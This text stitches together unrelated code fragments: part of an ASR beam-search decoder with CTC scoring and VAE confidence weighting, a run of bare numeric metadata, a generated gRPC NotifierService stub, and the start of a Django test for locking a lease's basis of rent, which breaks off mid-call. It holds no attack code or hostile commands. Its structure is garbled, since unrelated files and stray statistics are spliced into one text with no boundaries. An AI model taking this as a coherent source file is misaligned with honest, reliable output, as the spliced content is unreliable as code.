local_att_scores, ctc_beam, dim=1 ) ctc_scores, ctc_states = ctc_prefix_score( hyp["yseq"], local_best_ids[0], hyp["ctc_state_prev"] ) local_scores = (1.0 - ctc_weight) * local_att_scores[ :, local_best_ids[0] ] + ctc_weight * torch.from_numpy( ctc_scores - hyp["ctc_score_prev"] ) if rnnlm: local_scores += ( recog_args.lm_weight * local_lm_scores[:, local_best_ids[0]] ) local_best_scores, joint_best_ids = torch.topk( local_scores, beam, dim=1 ) local_best_ids = local_best_ids[:, joint_best_ids[0]] else: local_best_scores, local_best_ids = torch.topk( local_scores, beam, dim=1 ) for j in six.moves.range(beam): new_hyp = {} new_hyp["score"] = hyp["score"] + float(local_best_scores[0, j]) new_hyp["yseq"] = [0] * (1 + len(hyp["yseq"])) new_hyp["yseq"][: len(hyp["yseq"])] = hyp["yseq"] new_hyp["yseq"][len(hyp["yseq"])] = int(local_best_ids[0, j]) if rnnlm: new_hyp["rnnlm_prev"] = rnnlm_state if lpz is not None: new_hyp["ctc_state_prev"] = ctc_states[joint_best_ids[0, j]] new_hyp["ctc_score_prev"] = ctc_scores[joint_best_ids[0, j]] # will be (2 x beam) hyps at most hyps_best_kept.append(new_hyp) hyps_best_kept = sorted( hyps_best_kept, key=lambda x: x["score"], reverse=True )[:beam] # sort and get nbest hyps = hyps_best_kept logging.debug("number of pruned hypothes: " + str(len(hyps))) if char_list is not None: logging.debug( "best hypo: " + "".join([char_list[int(x)] for x in hyps[0]["yseq"][1:]]) ) # add eos in the final loop to avoid that there are no ended hyps if i == maxlen - 1: logging.info("adding <eos> in the last postion in the loop") for hyp in hyps: hyp["yseq"].append(self.all_models[0].eos) # add ended hypothes to a final list, and removed them from current hypothes # (this will be a probmlem, number of hyps < beam) remained_hyps = [] for hyp in hyps: if hyp["yseq"][-1] == self.all_models[0].eos: # only store the sequence that has more than minlen outputs # also add penalty if len(hyp["yseq"]) > minlen: hyp["score"] += (i + 1) * penalty if rnnlm: # Word LM needs to add final <eos> score hyp["score"] += recog_args.lm_weight * rnnlm.final( hyp["rnnlm_prev"] ) ended_hyps.append(hyp) else: remained_hyps.append(hyp) # end detection if end_detect(ended_hyps, i) and recog_args.maxlenratio == 0.0: logging.info("end detected at %d", i) break hyps = remained_hyps if len(hyps) > 0: logging.debug("remeined hypothes: " + str(len(hyps))) else: logging.info("no hypothesis. Finish decoding.") break if char_list is not None: for hyp in hyps: logging.debug( "hypo: " + "".join([char_list[int(x)] for x in hyp["yseq"][1:]]) ) logging.debug("number of ended hypothes: " + str(len(ended_hyps))) nbest_hyps = sorted(ended_hyps, key=lambda x: x["score"], reverse=True)[ : min(len(ended_hyps), recog_args.nbest) ] # check number of hypotheis if len(nbest_hyps) == 0: logging.warning( "there is no N-best results, perform recognition " "again with smaller minlenratio." ) # should copy becasuse Namespace will be overwritten globally recog_args = Namespace(**vars(recog_args)) recog_args.minlenratio = max(0.0, recog_args.minlenratio - 0.1) return self.recognize(x, recog_args, char_list, rnnlm) logging.info("total log probability: " + str(nbest_hyps[0]["score"])) logging.info( "normalized log probability: " + str(nbest_hyps[0]["score"] / len(nbest_hyps[0]["yseq"])) ) for idx, x in enumerate(all_lpz): all_lpz[idx] = all_lpz[idx].detach().numpy() # Update the temperature if recog_args.update_temp: recog_args.temperature = self.update_temp(recog_args.temperature, pm_scores_nn, all_llhoods, all_compiled_local_att_scores, lr=10) comp = {} comp["lpz"] = all_lpz comp["attn"] = all_compiled_local_att_scores if recog_args.pm_type == "joint_vae": pm_scores_nn = {'inp': pm_scores_nn_inp, 'enc': pm_scores_nn_enc} return recog_args.temperature, pm_scores_nn, comp, nbest_hyps def recognize_self_confidence(self, x, recog_args, char_list=None, rnnlm=None, use_jit=False): """Recognize input speech with self confidence. :param ndnarray x: input acoustic feature (B, T, D) or (T, D) :param Namespace recog_args: argment Namespace contraining options :param list char_list: list of characters :param torch.nn.Module rnnlm: language model module :return: N-best decoding results :rtype: list """ logging.info("Using score type {:s}".format(recog_args.score_type)) logging.info("Using temperature {:f}".format(recog_args.temperature)) if recog_args.general_p: logging.info( "Using generalized mean classifier combination with parameter p={:f}".format(recog_args.general_p)) else: logging.info("Using {:s} rule of classifier combination".format(recog_args.rule)) all_enc_outputs = [] for model in self.all_models: all_enc_outputs.append(model.encode(x).unsqueeze(0)) all_llhoods = [] # Get performance monitor Scores pm_scores = torch.zeros(self.stream_num) if recog_args.pm_type == "joint_vae": pm_scores_inp = torch.zeros(self.stream_num) pm_scores_enc = torch.zeros(self.stream_num) # External Model for idx, pm_model in enumerate(self.all_pms): ae_out, latent_out = pm_model(torch.as_tensor(x).unsqueeze(0), torch.IntTensor([x.shape[0]])) pm_scores_inp[idx], llhood = self.vae_loss(torch.as_tensor(x).unsqueeze(0), ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) all_llhoods.append(llhood) # Internal Model for idx, pm_model in enumerate(self.all_enc_pms): enc_out_after_cmvn = self.apply_cmvn(all_enc_outputs[idx], self.all_enc_cmvn[idx][0], self.all_enc_cmvn[idx][1]) ae_out, latent_out = pm_model(enc_out_after_cmvn, torch.IntTensor([enc_out_after_cmvn.shape[1]])) pm_scores_enc[idx], llhood = self.vae_loss(enc_out_after_cmvn, ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) # Combine scores for idx, x in enumerate(pm_scores_inp): pm_scores[idx] = torch.exp(torch.log(pm_scores_enc[idx]) + torch.log(pm_scores_inp[idx])) pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores_nn_inp = deepcopy(pm_scores_inp.data.numpy()) pm_scores_nn_enc = deepcopy(pm_scores_enc.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): temp_inp = (pm_scores_inp / torch.sum(pm_scores_inp)).detach().numpy() temp_enc = (pm_scores_enc / torch.sum(pm_scores_enc)).detach().numpy() logging.info("Confidence score for ASR {:d} (final/input/encoder) = {:f}/{:f}/{:f}".format(idx, psc.detach().numpy(), temp_inp[ idx], temp_enc[ idx])) elif recog_args.pm_type == "enc_vae": # Internal Model only for idx, pm_model in enumerate(self.all_enc_pms): enc_out_after_cmvn = self.apply_cmvn(all_enc_outputs[idx], self.all_enc_cmvn[idx][0], self.all_enc_cmvn[idx][1]) ae_out, latent_out = pm_model(enc_out_after_cmvn, torch.IntTensor([enc_out_after_cmvn.shape[1]])) pm_scores[idx], llhood = self.vae_loss(enc_out_after_cmvn, ae_out, latent_out, out_dist='laplace', temp=recog_args.temperature, type=recog_args.score_type, chop=recog_args.chop) pm_scores_nn = deepcopy(pm_scores.data.numpy()) pm_scores = pm_scores / torch.sum(pm_scores) for idx, psc in enumerate(pm_scores): logging.info("Confidence score for ASR (final) " + str(idx) + " is " + str(psc.detach().numpy())) if self.all_models[0].mtlalpha == 1.0: # Assuming all models are pure CTC recog_args.ctc_weight = 1.0 logging.info("Set to pure CTC decoding mode.") if self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight == 1.0: from itertools import groupby all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.softmax(all_enc_outputs[idx])) lpz = 0 * all_lpz[0] for idx, pm_model in enumerate(self.all_pms): lpz += pm_scores[idx] * all_lpz[idx] lpz = torch.argmax(lpz, dim=2) collapsed_indices = [x[0] for x in groupby(lpz[0])] hyp = [x for x in filter(lambda x: x != self.blank, collapsed_indices)] nbest_hyps = [{"score": 0.0, "yseq": [self.sos] + hyp}] if recog_args.beam_size > 1: raise NotImplementedError("Pure CTC beam search is not implemented.") # TODO(hirofumi0810): Implement beam search return nbest_hyps elif self.all_models[0].mtlalpha > 0 and recog_args.ctc_weight > 0.0: all_lpz = [] for idx, model in enumerate(self.all_models): all_lpz.append(model.ctc.log_softmax(all_enc_outputs[idx]).squeeze(0)) lpz = 0 * all_lpz[0] for idx, one_lpz in enumerate(all_lpz): if recog_args.general_p: lpz += torch.pow(torch.exp(one_lpz), recog_args.general_p) * pm_scores[idx] elif recog_args.rule == 'product': lpz += one_lpz * pm_scores[idx] elif recog_args.rule == 'sum': lpz += torch.exp(one_lpz) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: lpz = torch.log(lpz) / recog_args.general_p elif recog_args.rule == "sum": lpz = torch.log(lpz) else: lpz = None h = all_enc_outputs[0].squeeze(0) logging.info("input lengths: " + str(h.size(0))) # search parms beam = recog_args.beam_size penalty = recog_args.penalty ctc_weight = recog_args.ctc_weight # preprare sos y = self.all_models[0].sos vy = h.new_zeros(1).long() if recog_args.maxlenratio == 0: maxlen = h.shape[0] else: # maxlen >= 1 maxlen = max(1, int(recog_args.maxlenratio * h.size(0))) minlen = int(recog_args.minlenratio * h.size(0)) logging.info("max output length: " + str(maxlen)) logging.info("min output length: " + str(minlen)) # initialize hypothesis if rnnlm: hyp = {"score": 0.0, "yseq": [y], "rnnlm_prev": None} else: hyp = {"score": 0.0, "yseq": [y]} if lpz is not None: ctc_prefix_score = CTCPrefixScore(lpz.detach().numpy(), 0, self.all_models[0].eos, numpy) hyp["ctc_state_prev"] = ctc_prefix_score.initial_state() hyp["ctc_score_prev"] = 0.0 if ctc_weight != 1.0: # pre-pruning based on attention scores ctc_beam = min(lpz.shape[-1], int(beam * CTC_SCORING_RATIO)) else: ctc_beam = lpz.shape[-1] hyps = [hyp] ended_hyps = [] import six import numpy as np all_compiled_local_att_scores = [] for i in range(self.stream_num): all_compiled_local_att_scores.append(np.zeros((maxlen, lpz.shape[1]))) traced_decoder = None for i in six.moves.range(maxlen): logging.debug("position " + str(i)) hyps_best_kept = [] best_score = -numpy.infty for hyp in hyps: vy[0] = hyp["yseq"][i] # get nbest local scores and their ids ys_mask = subsequent_mask(i + 1).unsqueeze(0) ys = torch.tensor(hyp["yseq"]).unsqueeze(0) # FIXME: jit does not match non-jit result all_local_att_scores = [] if rnnlm: rnnlm_state, local_lm_scores = rnnlm.predict(hyp["rnnlm_prev"], vy) if use_jit: if traced_decoder is None: traced_decoder = torch.jit.trace( self.all_models[0].decoder.forward_one_step, (ys, ys_mask, all_enc_outputs[0]) ) for enc_output in all_enc_outputs: local_att_scores = traced_decoder(ys, ys_mask, enc_output)[0] all_local_att_scores.append(local_att_scores) else: # Keep only attention values from the best hypothesis if hyp["score"] > best_score: best_score = hyp["score"] update = True else: update = False for idx, enc_output in enumerate(all_enc_outputs): local_att_scores = self.all_models[idx].decoder.forward_one_step( ys, ys_mask, enc_output )[0] if update: all_compiled_local_att_scores[idx][i, :] = local_att_scores[0, :].detach().numpy() all_local_att_scores.append(local_att_scores) local_att_scores = 0 * all_local_att_scores[0] for idx, one_attn_score in enumerate(all_local_att_scores): if recog_args.general_p: local_att_scores += torch.pow(torch.exp(one_attn_score), recog_args.general_p) * pm_scores[ idx] elif recog_args.rule == 'product': local_att_scores += one_attn_score * pm_scores[idx] elif recog_args.rule == 'sum': local_att_scores += torch.exp(one_attn_score) * pm_scores[idx] else: logging.error("rule can only be of types 'sum' or 'product'") if recog_args.general_p: local_att_scores = torch.log(local_att_scores) / recog_args.general_p elif recog_args.rule == "sum": local_att_scores = torch.log(local_att_scores) if rnnlm: local_scores = ( local_att_scores + recog_args.lm_weight * local_lm_scores ) else: local_scores = local_att_scores if lpz is not None: local_best_scores, local_best_ids = torch.topk( local_att_scores, ctc_beam, dim=1 ) ctc_scores, ctc_states = ctc_prefix_score( hyp["yseq"], local_best_ids[0], hyp["ctc_state_prev"] ) local_scores = (1.0 - ctc_weight) * local_att_scores[ :, local_best_ids[0] ] + ctc_weight * torch.from_numpy( ctc_scores - hyp["ctc_score_prev"] ) if rnnlm: local_scores += ( recog_args.lm_weight * local_lm_scores[:, local_best_ids[0]] ) local_best_scores, joint_best_ids = torch.topk( local_scores, beam, dim=1 ) local_best_ids = local_best_ids[:, joint_best_ids[0]] else: local_best_scores, local_best_ids = torch.topk( local_scores, beam, dim=1 ) for j in six.moves.range(beam): new_hyp = {} new_hyp["score"] = hyp["score"] + float(local_best_scores[0, j]) new_hyp["yseq"] = [0] * (1 + len(hyp["yseq"])) new_hyp["yseq"][: len(hyp["yseq"])] = hyp["yseq"] new_hyp["yseq"][len(hyp["yseq"])] = int(local_best_ids[0, j]) if rnnlm: new_hyp["rnnlm_prev"] = rnnlm_state if lpz is not None: new_hyp["ctc_state_prev"] = ctc_states[joint_best_ids[0, j]] new_hyp["ctc_score_prev"] = ctc_scores[joint_best_ids[0, j]] # will be (2 x beam) hyps at most hyps_best_kept.append(new_hyp) hyps_best_kept = sorted( hyps_best_kept, key=lambda x: x["score"], reverse=True )[:beam] # sort and get nbest hyps = hyps_best_kept logging.debug("number of pruned hypothes: " + str(len(hyps))) if char_list is not None: logging.debug( "best hypo: " + "".join([char_list[int(x)] for x in hyps[0]["yseq"][1:]]) ) # add eos in the final loop to avoid that there are no ended hyps if i == maxlen - 1: logging.info("adding <eos> in the last postion in the loop") for hyp in hyps: hyp["yseq"].append(self.all_models[0].eos) # add ended hypothes to a final list, and removed them from current hypothes # (this will be a probmlem, number of hyps < beam) remained_hyps = [] for hyp in hyps: if hyp["yseq"][-1] == self.all_models[0].eos: # only store the sequence that has more than minlen outputs # also add penalty if len(hyp["yseq"]) > minlen: hyp["score"] += (i + 1) * penalty if rnnlm: # Word LM needs to add final <eos> score hyp["score"] += recog_args.lm_weight * rnnlm.final( hyp["rnnlm_prev"] ) ended_hyps.append(hyp) else: remained_hyps.append(hyp) # end detection if end_detect(ended_hyps, i) and recog_args.maxlenratio == 0.0: logging.info("end detected at %d", i) break hyps = remained_hyps if len(hyps) > 0: logging.debug("remeined hypothes: " + str(len(hyps))) else: logging.info("no hypothesis. Finish decoding.") break if char_list is not None: for hyp in hyps: logging.debug( "hypo: " + "".join([char_list[int(x)] for x in hyp["yseq"][1:]]) ) logging.debug("number of ended hypothes: " + str(len(ended_hyps))) nbest_hyps = sorted(ended_hyps, key=lambda x: x["score"], reverse=True)[ : min(len(ended_hyps), recog_args.nbest) ] # check number of hypotheis if len(nbest_hyps) == 0: logging.warning( "there is no N-best results, perform recognition " "again with smaller minlenratio." ) # should copy becasuse Namespace will be overwritten globally recog_args = Namespace(**vars(recog_args)) recog_args.minlenratio = max(0.0, recog_args.minlenratio - 0.1) return self.recognize(x, recog_args, char_list, rnnlm) logging.info("total log probability: " + str(nbest_hyps[0]["score"])) logging.info( "normalized log probability: " + str(nbest_hyps[0]["score"] / len(nbest_hyps[0]["yseq"])) ) for idx, x in enumerate(all_lpz): all_lpz[idx] = all_lpz[idx].detach().numpy() # Update the temperature if recog_args.update_temp: recog_args.temperature = self.update_temp(recog_args.temperature, pm_scores_nn, all_llhoods, all_compiled_local_att_scores, lr=10) comp = {} comp["lpz"] = all_lpz comp["attn"] = all_compiled_local_att_scores if recog_args.pm_type == "joint_vae": pm_scores_nn = {'inp': pm_scores_nn_inp, 'enc': pm_scores_nn_enc} return recog_args.temperature, pm_scores_nn, comp, nbest_hyps def calculate_all_attentions(self, xs_pad, ilens, ys_pad): """E2E attention calculation. :param torch.Tensor xs_pad: batch of padded input sequences (B, Tmax, idim) :param torch.Tensor ilens: batch of lengths of input sequences (B) :param torch.Tensor ys_pad: batch of padded token id sequence tensor (B, Lmax) :return: attention weights (B, H, Lmax, Tmax) :rtype: float ndarray """ self.eval() with torch.no_grad(): self.forward(xs_pad, ilens, ys_pad) ret = dict() for name, m in self.named_modules(): if ( isinstance(m, MultiHeadedAttention) or isinstance(m, DynamicConvolution) or isinstance(m, RelPositionMultiHeadedAttention) ): ret[name] = m.attn.cpu().numpy() if isinstance(m, DynamicConvolution2D): ret[name + "_time"] = m.attn_t.cpu().numpy() ret[name + "_freq"] = m.attn_f.cpu().numpy() self.train() return ret def calculate_all_ctc_probs(self, xs_pad, ilens, ys_pad): """E2E CTC probability calculation. :param torch.Tensor xs_pad: batch of padded input sequences (B, Tmax) :param torch.Tensor ilens: batch of lengths of input sequences (B) :param torch.Tensor ys_pad: batch of padded token id sequence tensor (B, Lmax) :return: CTC probability (B, Tmax, vocab) :rtype: float ndarray """ ret = None if self.mtlalpha == 0: return ret self.eval() with torch.no_grad(): self.forward(xs_pad, ilens, ys_pad) for name, m in self.named_modules(): if isinstance(m, CTC) and m.probs is not None: ret = m.probs.cpu().numpy() self.train() return ret
49.061714
140
0.513406
9,960
85,858
4.189056
0.048394
0.05781
0.038252
0.016178
0.900055
0.894902
0.886346
0.876711
0.866908
0.866093
0
0.010497
0.390866
85,858
1,749
141
49.089766
0.787281
0.07375
0
0.850217
0
0.001447
0.072255
0.000544
0
0
0
0.002287
0.002894
1
0.013748
false
0
0.034732
0.000724
0.068017
0.001447
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9acf96a15a3abd75bbd5c4d77bce1883ea20e35a
11,800
py
Python
lang/python/github/com/metaprov/modelaapi/services/notifier/v1/notifier_pb2_grpc.py
metaprov/modeldapi
ee05693832051dcd990ee4f061715d7ae0787340
[ "Apache-2.0" ]
5
2022-02-18T03:40:10.000Z
2022-03-01T16:11:24.000Z
lang/python/github/com/metaprov/modelaapi/services/notifier/v1/notifier_pb2_grpc.py
metaprov/modeldapi
ee05693832051dcd990ee4f061715d7ae0787340
[ "Apache-2.0" ]
1
2022-01-07T19:59:25.000Z
2022-02-04T01:21:14.000Z
lang/python/github/com/metaprov/modelaapi/services/notifier/v1/notifier_pb2_grpc.py
metaprov/modeldapi
ee05693832051dcd990ee4f061715d7ae0787340
[ "Apache-2.0" ]
1
2022-03-25T10:21:43.000Z
2022-03-25T10:21:43.000Z
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT! """Client and server classes corresponding to protobuf-defined services.""" import grpc from github.com.metaprov.modelaapi.services.notifier.v1 import notifier_pb2 as github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2 class NotifierServiceStub(object): """Missing associated documentation comment in .proto file.""" def __init__(self, channel): """Constructor. Args: channel: A grpc.Channel. """ self.ListNotifiers = channel.unary_unary( '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/ListNotifiers', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.ListNotifiersRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.ListNotifiersResponse.FromString, ) self.CreateNotifier = channel.unary_unary( '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/CreateNotifier', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.CreateNotifierRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.CreateNotifierResponse.FromString, ) self.GetNotifier = channel.unary_unary( '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/GetNotifier', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.GetNotifierRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.GetNotifierResponse.FromString, ) self.UpdateNotifier = channel.unary_unary( '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/UpdateNotifier', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.UpdateNotifierRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.UpdateNotifierResponse.FromString, ) self.DeleteNotifier = channel.unary_unary( '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/DeleteNotifier', request_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.DeleteNotifierRequest.SerializeToString, response_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.DeleteNotifierResponse.FromString, ) class NotifierServiceServicer(object): """Missing associated documentation comment in .proto file.""" def ListNotifiers(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def CreateNotifier(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def GetNotifier(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def UpdateNotifier(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def DeleteNotifier(self, request, context): """Missing associated documentation comment in .proto file.""" context.set_code(grpc.StatusCode.UNIMPLEMENTED) context.set_details('Method not implemented!') raise NotImplementedError('Method not implemented!') def add_NotifierServiceServicer_to_server(servicer, server): rpc_method_handlers = { 'ListNotifiers': grpc.unary_unary_rpc_method_handler( servicer.ListNotifiers, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.ListNotifiersRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.ListNotifiersResponse.SerializeToString, ), 'CreateNotifier': grpc.unary_unary_rpc_method_handler( servicer.CreateNotifier, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.CreateNotifierRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.CreateNotifierResponse.SerializeToString, ), 'GetNotifier': grpc.unary_unary_rpc_method_handler( servicer.GetNotifier, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.GetNotifierRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.GetNotifierResponse.SerializeToString, ), 'UpdateNotifier': grpc.unary_unary_rpc_method_handler( servicer.UpdateNotifier, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.UpdateNotifierRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.UpdateNotifierResponse.SerializeToString, ), 'DeleteNotifier': grpc.unary_unary_rpc_method_handler( servicer.DeleteNotifier, request_deserializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.DeleteNotifierRequest.FromString, response_serializer=github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.DeleteNotifierResponse.SerializeToString, ), } generic_handler = grpc.method_handlers_generic_handler( 'github.com.metaprov.modelaapi.services.notifier.v1.NotifierService', rpc_method_handlers) server.add_generic_rpc_handlers((generic_handler,)) # This class is part of an EXPERIMENTAL API. class NotifierService(object): """Missing associated documentation comment in .proto file.""" @staticmethod def ListNotifiers(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/ListNotifiers', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.ListNotifiersRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.ListNotifiersResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def CreateNotifier(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/CreateNotifier', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.CreateNotifierRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.CreateNotifierResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def GetNotifier(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/GetNotifier', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.GetNotifierRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.GetNotifierResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def UpdateNotifier(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/UpdateNotifier', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.UpdateNotifierRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.UpdateNotifierResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata) @staticmethod def DeleteNotifier(request, target, options=(), channel_credentials=None, call_credentials=None, insecure=False, compression=None, wait_for_ready=None, timeout=None, metadata=None): return grpc.experimental.unary_unary(request, target, '/github.com.metaprov.modelaapi.services.notifier.v1.NotifierService/DeleteNotifier', github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.DeleteNotifierRequest.SerializeToString, github_dot_com_dot_metaprov_dot_modelaapi_dot_services_dot_notifier_dot_v1_dot_notifier__pb2.DeleteNotifierResponse.FromString, options, channel_credentials, insecure, call_credentials, compression, wait_for_ready, timeout, metadata)
59.296482
174
0.744322
1,233
11,800
6.623682
0.089213
0.083507
0.045549
0.056936
0.887107
0.887107
0.887107
0.858455
0.844619
0.814497
0
0.007893
0.194746
11,800
198
175
59.59596
0.85161
0.058136
0
0.493827
1
0
0.106369
0.079551
0
0
0
0
0
1
0.074074
false
0
0.012346
0.030864
0.135802
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9ae023a32e243c59d49da2f650adcb75170be567
137
py
Python
notebooks/project_function1.py
data301-2021-winter1/project-group40-project
225f9992e77cb390f2e50c535483615ff3be250e
[ "MIT" ]
null
null
null
notebooks/project_function1.py
data301-2021-winter1/project-group40-project
225f9992e77cb390f2e50c535483615ff3be250e
[ "MIT" ]
null
null
null
notebooks/project_function1.py
data301-2021-winter1/project-group40-project
225f9992e77cb390f2e50c535483615ff3be250e
[ "MIT" ]
null
null
null
import pandas as pd import numpy as np def select(df, col): return df[col] def specify(df, col, s): return df.loc[df[col] == s]
17.125
31
0.649635
26
137
3.423077
0.538462
0.224719
0.134831
0
0
0
0
0
0
0
0
0
0.218978
137
8
31
17.125
0.831776
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0.333333
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
7
9ae54fd1096366bc91c4b72f968cd36b58ae728e
8,402
py
Python
leasing/tests/api/test_lease_basis_of_rent_lock.py
hkotkanen/mvj
a22d40869ef1b13924da428f3026d248acef81a7
[ "MIT" ]
null
null
null
leasing/tests/api/test_lease_basis_of_rent_lock.py
hkotkanen/mvj
a22d40869ef1b13924da428f3026d248acef81a7
[ "MIT" ]
null
null
null
leasing/tests/api/test_lease_basis_of_rent_lock.py
hkotkanen/mvj
a22d40869ef1b13924da428f3026d248acef81a7
[ "MIT" ]
null
null
null
import datetime import json import pytest import pytz from django.contrib.auth.models import Permission from django.core.serializers.json import DjangoJSONEncoder from django.urls import reverse from leasing.models import LeaseBasisOfRent @pytest.mark.django_db def test_lock_lease_basis_of_rent(django_db_setup, client, lease_test_data, user_factory, lease_basis_of_rent_factory): user = user_factory(username='test_user') user.set_password('test_password') user.save() permission_codenames = [ 'view_lease', 'change_lease', 'add_leasebasisofrent', 'change_lease_basis_of_rents', 'change_leasebasisofrent', 'change_leasebasisofrent_locked_at', ] for permission_codename in permission_codenames: permission = Permission.objects.get(codename=permission_codename) user.user_permissions.add(permission) client.login(username='test_user', password='test_password') lease = lease_test_data['lease'] lease_basis_of_rent = lease_basis_of_rent_factory( lease=lease, intended_use_id=1, area=12345, index_id=1, ) lock_time = datetime.datetime(year=2010, month=1, day=1, hour=1, minute=1, tzinfo=pytz.timezone('Europe/Helsinki')) data = { "id": lease.id, "basis_of_rents": [{ "id": lease_basis_of_rent.id, "locked_at": lock_time, }] } url = reverse('lease-detail', kwargs={ 'pk': lease.id }) response = client.patch(url, data=json.dumps(data, 